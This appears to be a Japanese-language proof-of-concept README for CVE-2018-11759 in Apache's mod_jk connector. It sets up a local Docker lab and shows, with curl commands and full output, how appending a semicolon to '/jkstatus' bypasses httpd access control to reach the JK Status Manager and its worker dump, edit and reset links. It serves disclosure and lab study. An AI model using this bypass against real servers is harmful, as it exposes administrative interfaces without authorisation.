
概念実証: CVE-2018-11759 の悪用方法を示す
Apache Tomcat JK (mod_jk) コネクタ 1.2.0 から 1.2.44 において、Apache Web Server (httpd) が要求されたパスを正規化し、それを URI-worker マップにマッチさせる前に特定のエッジケースを正しく処理していなかったコードがあります。Tomcat がサポートする URL のサブセットのみが httpd 経由で公開されている場合、特別に細工されたリクエストにより、リバースプロキシ経由でアプリケーションにアクセスするクライアント向けではないアプリケーション機能が、リバースプロキシを通じて露出する可能性がありました。また、一部の構成では、特別に細工されたリクエストによって httpd で設定されたアクセス制御を回避することも可能でした。この問題は CVE-2018-1323 と一部重複しますが、同一ではありません。
以下の概念実証は、CVE-2018-11759 の悪用方法と、対象となる情報システムへの影響を示しています。
docker-compose up -d
初回は処理に時間がかかる場合がありますので、しばらくお待ちください。
起動後、脆弱なプロキシは次のアドレスからアクセス可能になります http://localhost
mod_jk の JkMount ディレクティブでマウントされたエンドポイント(例:JK ステータスマネージャーインターフェース。AJP ワーカーを管理可能)は、外部アクセスを制限するように設定できます。
curl "http://localhost/jkstatus"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /jkstatus
on this server.</p>
</body></html>
この制限は、保護されたエンドポイントにセミコロンを追加することで回避できます。
curl "http://localhost/jkstatus;"
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>JK Status Manager</title></head>
<body>
<h1>JK Status Manager for localhost:8080</h1>
<table><tr><td>Server Version:</td><td>Apache/2.4.6 (CentOS) mod_jk/1.2.44</td><td> </td><td>Server Time:</td><td>2018-11-01 09:05:49 +0000</td></tr>
<tr><td>JK Version:</td><td>mod_jk/1.2.44</td><td></td><td>Unix Seconds:</td><td>1541063149</td></tr></table>
<hr/>
<table><tbody valign="baseline"><tr>
<td><form method="get" action="/jkstatus;">
<input type="submit" value="Start auto refresh"/>
(every <input name="re" type="text" size="3" value="10"/> seconds)</form>
</td><td> | </td>
<td>
<form method="get" action="/jkstatus;">
<input type="submit" value="Change format"/>
<select name="mime" size="1"><option value="xml">XML</option><option value="prop">Properties</option><option value="txt">Text</option></select></form>
</td>
</tr></tbody></table>
<table><tbody valign="baseline"><tr>
<td>
[<a href="/jkstatus;?opt=32">Read Only</a>]
</td>
<td>
[<a href="/jkstatus;?cmd=dump">Dump</a>]
</td>
<td>
[<b>S</b>=Show only this worker, <b>E</b>=Edit worker, <b>R</b>=Reset worker state, <b>T</b>=Try worker recovery]<br/>
</td>
...
詳細はブログ記事をご覧ください。
この問題は、Biznet Bilisim A.S. の Alphan YAVAS によって最初に発見され、Apache Tomcat セキュリティチームに責任を持って報告されました。追加の攻撃ベクターは、immunIT の Raphaël Arrouas (Xel) と Jean Lejeune (Nitrax) によって特定されました。